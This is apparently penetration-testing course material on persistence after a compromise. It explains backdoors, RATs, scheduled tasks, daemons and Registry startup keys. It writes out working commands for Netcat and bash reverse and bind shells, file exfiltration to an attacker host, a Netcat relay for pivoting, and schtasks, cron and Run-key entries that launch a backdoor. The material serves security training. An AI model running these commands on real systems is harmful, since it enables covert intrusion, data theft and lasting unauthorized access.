Persistence is the quality by which a threat continues to exploit a target while remaining undetected for a significant period of time. Rather than hitting a target and leaving right after, attackers will look for ways to maintain their foothold in the organization long after the main attack phase has concluded. Some of the goals involved in persistence include:
- Exfiltrating portions of sensitive data over a period of time rather than all at once. This is a stealthier approach than just overloading the network with the target data in one loud task.
- Exfiltrating sensitive data that changes over time. A customer records database will probably be continuously updated with information about individuals and organizations. Rather than capturing the database once at a specific point in time, the attacker could capture the database multiple times after it changes.
- Causing a sustained or repeated denial of service. Launching a DoS attack at a server once will take it down for a while, but recovery personnel will probably bring it right back up as soon as they can. With persistent access, an attacker could take down a server over and over again, despite the recovery team’s best efforts.
- Monitoring user behavior over time. Sometimes, directly accessing people information isn’t feasible or isn’t stealthy enough, so an attacker might choose to monitor a user’s behavior for the information they’re looking for. For example, a keylogger installed on a public terminal might not reveal anything useful right away, but after a while, an administrator might enter their credentials into this terminal.
- Taunting or spreading confusion within an organization. It’s mostly just annoying when an attacker compromises the means of communication to send a few taunting messages to personnel. However, attackers who maintain their compromise of communications over a long period of time can cause a great deal of consternation by harassing individuals and undermining the confidence they have in their colleagues and employer.
Compromise of systems, networks, applications, and other assets can persist for days, weeks, months, and even years. As a pen tester, you probably won’t be maintaining your attack efforts for very long, but it depends on the scope of the test and how willing the organization is to leave their assets in a state of compromise. What’s more likely is that you’ll conduct efforts to prove that persistence is possible and has a high chance of occurring, and demonstrate it during the test and/or report on it afterward.
Advanced Persistent Threat
An advanced persistent threat (APT) is an implementation of persistence that relies on highly customized, complex exploits created and launched by groups of technically skilled individuals with a common goal. APTs tend to target large financial institutions, government agencies, and other organizations that hold a great deal of power over others. APTs have been known to go years before being discovered, exfiltrating significant volumes of sensitive data from a target or conducting sustained disruption of business operations. They are therefore some of the most insidious and harmful threats to targeted organizations.
Persistence Techniques Examples
There is not one catch-all method for initiating persistence on a network or system. Various techniques can help you maintain access or control over your targets. For example, certain user accounts are more closely monitored or more tightly access controlled than others. Creating a new account can help you bypass these restrictions when you need to authenticate. On Windows, you can create a new user through the command shell: net user jsmith /add and on Linux: useradd jsmith. Escalating the account’s privileges can provide you with even more access. On Windows, net localgroup Administrators jsmith /add adds the account to the local Administrators group. On Linux, there are several ways to give root privileges to a user, including editing the /etc/passwd file and changing the user’s user ID (UID) and group ID (GID) to 0.
New user creation is just one example of a persistence technique. Other common persistence techniques include:
- Backdoors.
- Remote access services.
- Shells.
- Scheduled tasks.
- Services and daemons.
Backdoors
A backdoor is a hidden mechanism that provides you with access to a system through some alternative means. A backdoor can exist in many forms, but it is always meant to escape the notice of the system’s typical users while still enabling unauthorized users to access that system. For example, a new, unauthorized user account can be used as part of a backdoor so that you don’t rely on an active and closely monitored account to gain access.
Another example of a backdoor is a remote access tool (RAT), also known as a remote access Trojan. As the latter name implies, a RAT is primarily downloaded to a victim computer through Trojan horse malware; that is, it either comes along with what appears to be legitimate software, or it itself is disguised to look like legitimate software. The function of a RAT is pretty much identical to standard remote access technology, and may strictly offer an interactive shell, or may offer full GUI services. The primary difference between a RAT and something like RDP, other than delivery mechanism, is that RATs are specifically designed to remain hidden from view on the infected system. Some examples of popular RATs include NetBus, Sub7, Back Orifice, Blackshades, and DarkComet.
While a RAT can escape human notice, the more common ones will be instantly picked up by an anti-malware scanner or intrusion detection system. Advanced RATs, however, can leverage rootkit technology to infect a system at a low level. The power of rootkits is that they can alter an operating system’s kernel or a device’s firmware to mask the malicious code’s activity. Therefore, a rootkit-empowered RAT can more effectively evade security solutions. It’s important to note that even if a RAT can evade security solutions and initially escape human notice, it can still exhibit behavior that might tip off a user, like excessive or unexplained network traffic that traverses the interface.
Note: Hardware backdoors also exist and can be substantially stealthier and provide greater levels of access, but they are not commonly used in pen testing. Most such backdoors are incorporated into hardware during the manufacturing process.
Remote Access Services
Remote access services like Telnet, SSH, RDP, VNC, etc., can also enable persistence. You can even leverage backdoor accounts with these services to remotely control the target system. However, remaining stealthy while using these services is especially difficult because of how well known, closely monitored, and transparent to the system they tend to be.
Shells
A shell is any program that can be used to execute a command. There are essentially two types of shells: bind and reverse.
A bind shell is established when the target system “binds” its shell to a local network port. For example, a Linux target might bind the Bash shell on port 12345. One of the most common tools used to create either type of shell is Netcat. So, on the target system, the Netcat command would be:
nc -lp 12345 -e /bin/sh
Note: Use -e cmd.exe for a Windows target.
On the attack machine, you’d use Netcat to connect to this session and obtain the shell:
nc 192.168.1.50 12345
You can now issue Bash commands to the target machine. This is useful in enabling persistence, as it can function as a backdoor into the target system. The problem with bind shells is that many firewalls will filter incoming traffic on ports that don’t meet the pre-configured whitelist, so you may be unable to establish a connection. Likewise, if the target is behind Network Address Translation (NAT) and you’re connecting from an external network, you may not be able to reach the target unless the NAT device is forwarding the specific bound port to the target machine.
A reverse shell is established when the target machine communicates with an attack machine that is listening on a specific port. First, you start the listener on the attack machine:
nc -lp 12345
Then, on the target machine, you’d start the connection:
nc 192.168.1.10 12345 –e /bin/sh
The attack machine’s listener will accept the incoming connection and open a shell onto the target system. Reverse shells are typically more effective as backdoors because they bypass the aforementioned problems with bind shells. The attacker has more control over their own environment and is less likely to be obstructed by port filtering or NAT. In addition, you can create a reverse shell from the target system using a wide array of tools other than Netcat, including Bash, PowerShell, Python, Ruby, PHP, Perl, Telnet, and many more. For example, if the target system is a Linux machine without Netcat, use Bash to connect to a listener:
bash -i >& /dev/tcp/192.168.1.10/12345 0>&1
Netcat
https://www.technoherder.com/Cheatsheet/netcat_cheat_sheet_v1.pdf
Netcat is a command-line utility used to read from or write to TCP, UDP, or Unix domain socket network connections. Highly versatile, it has been called the “Swiss Army knife” of hacking tools. It can create or connect to a TCP server, act as a simple proxy or relay, transfer files, launch executables (such as the backdoor shells mentioned previously) when a connection is made, test services and daemons, and even port scan. Netcat has been ported to most desktop platforms and has inspired similar tools such as Ncat and Simple Netcat for Android.
The basic syntax of Netcat is nc [options] [target address] [port(s)]. Common options include the following.
Netcat Option | Description |
-l | Starts Netcat in listen mode. The default mode is to act as a client. |
-L | Starts Netcat in the Windows-only “listen harder” mode. This mode creates a persistent listener that starts listening again when the client disconnects. |
-u | Starts Netcat in UDP mode. The default is to use TCP. |
-p | Specifies the port that Netcat should start listening on in listen mode. In client mode, it specifies the source port. |
-e | Specifies the program to execute when a connection is made. |
-n | Tells Netcat not to perform DNS lookups for host names on the other end of the connection. |
-z | Starts Netcat in zero I/O mode, which instructs it to send a packet without a payload. |
-w <seconds> | Specifies the timeout value for connections. |
-v | Starts Netcat in verbose mode. |
-vv | Starts Netcat in very verbose mode. |
In addition to the standard bind and reverse shell commands mentioned previously, you can use Netcat in other ways to facilitate persistence. For example, let’s say you want to exfiltrate a file called data.txt from a target system onto your attack machine. The process is similar to setting up a reverse shell. On the attack machine, set up the listener and output the file:
nc -lp 12345 > data.txt
Then, on the target machine, start the connection and pass in the file:
nc 192.168.1.10 12345 < data.txt
Your listener will grab the file and then save it.
You can also use Netcat to create a relay using a Linux named pipe. The listener waits for incoming data on local port 12345 and then forwards it to port 54321 of a second target host (192.168.1.100). First, start a listener on your attack machine:
nc -lp 12345
Then, start a listener on the second target host that binds a shell:
nc -lp 54321 -e /bin/sh
On the initial target host, create a named pipe and set up the relay:
mknod backpipe p nc 192.168.1.10 12345 0<backpipe | nc 192.168.1.100 54321 | tee backpipe
Now, any commands issued from your attack machine will be relayed through the initial target host and hit the second target host. Relaying data like this can help you pivot your attack and make it appear as if the initial target host is the one attacking the second target host.
Note: For additional Netcat examples, see the SANS Netcat Cheat Sheet at https://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf
Scheduled Tasks
A scheduled task or scheduled job is any instance of execution, like the initiation of a process or running of a script, that the system performs on a set schedule. Scheduled tasks are a fundamental component of work automation, as they empower a system to perform the specified task without requiring a user to start that task. Once the task executes, it can prompt for user interaction or run silently in the background; it all depends on what the task is set up to do. While most scheduled tasks are configured to run at certain times, you can also schedule tasks around certain events, like a specific user logging in.
Just as scheduled tasks can make a normal user’s or administrator’s job easier, they can also be a boon to your pen test campaign. For example, you could manually execute a Netcat data exfiltration command over and over again to always have the most up-to-date version of a sensitive file, but this can become tedious, not to mention noisy. Instead, you could create a scheduled task that silently runs the exfiltration command in the background every so often—once a day, for example—to automate your persistence in the organization while remaining undetected.
Task Scheduler is the utility that governs scheduled tasks in Windows environments. You can do quite a bit with this utility, including:
- Setting a task name and description.
- Setting the task’s “triggers”—i.e., the time or events that will cause the task to start.
- Setting the task’s actual action—e.g., running a program, executing a command, etc.
- Setting what account to run the task under.
- Setting special conditions that might influence when the task will run, like only running a task if a laptop is connected to AC power.
- Configuring additional settings about the task, like what to do if the task fails.
Note that the time trigger supports granular values. You can, for instance, run the task once a year starting on a specific day, or repeat the task every minute for 60 minutes. You can also identify details about a task, like its next run time, its most recent run time, the result or exit status of its most recent run, etc. This is made easier through the Task Scheduler GUI. However, as a pen tester, you will likely need to rely on scheduling a task from the command line (schtasks). The following example schedules a task named “backdr” that runs a batch file once a day for 30 days under the SYSTEM account:
schtasks /create /tn backdr /tr C:\Files\backdoor.bat /sc DAILY /mo 30 /ru SYSTEM
Note: For a full list of options for schtasks, see https://msdn.microsoft.com/en-us/library/windows/desktop/bb736357(v=vs.85).aspx.
Note: Scheduled tasks can also leverage application functionality exposed by DCOM, like scheduling the execution of macros in an Excel file.
On Linux, cron jobs are the primary method of scheduling tasks/jobs. The cron daemon runs the specified shell command at the date and/or time specified in the user’s crontab file. You can edit this file by entering crontab -e at a shell. Each line in this file represents a job, and is formatted as follows:
Note that you aren’t required to specify every time value. The asterisk (*) denotes a wildcard value; i.e., the job will run for every instance of this value. For example, the following line will run a Netcat file exfiltration listener every day at 9:00 A.M.:
0 9 * * * nc -lp 12345 > data.txt
The following example will run the same Netcat command at the top of every hour every 15th day of every other month:
0 * 15 */2 * nc -lp 12345 > data.txt
Note that the month value uses a division operator (/) with a wildcard to divide each of the 12 months into 2.
Be aware that the jobs you create with crontab -e will run as the current user. You can also directly edit the system’s /etc/crontab file to run a job as a specific user, though this is usually not recommended. This file takes a user field before the command field, such as:
0 9 * * * jsmith nc -lp 12345 > data.txt
Services and Daemons
In the Windows world, a service is any program that runs in the background without directly interfering with the current user’s desktop session. This essentially makes services a type of non-interactive process. In the Unix-like world, a daemon is the closest equivalent to a Windows service. Daemons run in the background but are not attached to any terminal; therefore, they can continue to run on the system even when a terminal is closed. Many services and daemons automatically start when the system boots, but they can also be activated by certain events or, less commonly, started and stopped manually by the user.
When it comes to pen testing, services and daemons offer similar opportunities as scheduled tasks, but differ in terms of how they are used as vectors. For example, you might write a cron job to execute a Netcat reverse shell command on a Linux target every so often. This, as you’ve seen, gives you a persistent backdoor into the target system. However, if you instead install a remote access daemon on the target, you could shell into the target at any time and even regain that shell immediately after the system has rebooted. Whereas a cron job is limited to a maximum frequency of one minute, a daemon is always active and available for use. Also, it’s easier for a daemon to cache its state and sustain long sessions.
There are several disadvantages to running a daemon over a scheduled task, however. Daemons consume memory even when not in use, which may tip off a user if they experience performance issues or are actively monitoring memory usage. Also, daemons do not automatically restart upon termination unless specifically programmed to do so, whereas scheduled tasks can recur automatically. Lastly, cron jobs are relatively simple to create, whereas daemons require extensive programming knowledge, assuming you’re not relying on existing software.
Many of these advantages and disadvantages also apply to Windows services when compared to Task Scheduler.
Registry Startup
Services are not the only way to get a particular program or command to start upon booting Windows. You can also add the program or command to the following Registry keys:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
The first key will run all of its values whenever any user logs in; the second key will run only when the current user logs in. You can open the GUI Registry Editor (regedit) to add the desired value, or you can do it from the command line:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v backdr /d C:\Files\backdoor.bat
Guidelines for Using Persistence Techniques
When using persistence techniques:
- Try to maintain a foothold in the organization to continue your attack after the main phase has concluded.
- Demonstrate persistence to the client without necessarily keeping assets compromised for a long period of time.
- Create new user accounts to bypass access control and account monitoring.
- Escalate new accounts’ privileges if able.
- Install a RAT as a backdoor into a target system.
- Create a shell using Netcat to open a backdoor for command execution.
- Use reverse shells instead of bind shells whenever possible.
- Use Netcat to exfiltrate files from a target host to your own host.
- Use Netcat to set up a relay from one target host to another for pivoting.
- Use Task Scheduler in Windows to run a compromising command or program on a consistent schedule.
- Use cron jobs in Linux to do likewise.
- Consider using a backdoor as a daemon or service to have it constantly available.
- Understand the disadvantages of creating and using a daemon or service.
- Add commands or programs to the appropriate Registry startup keys to get them to run on Windows boot.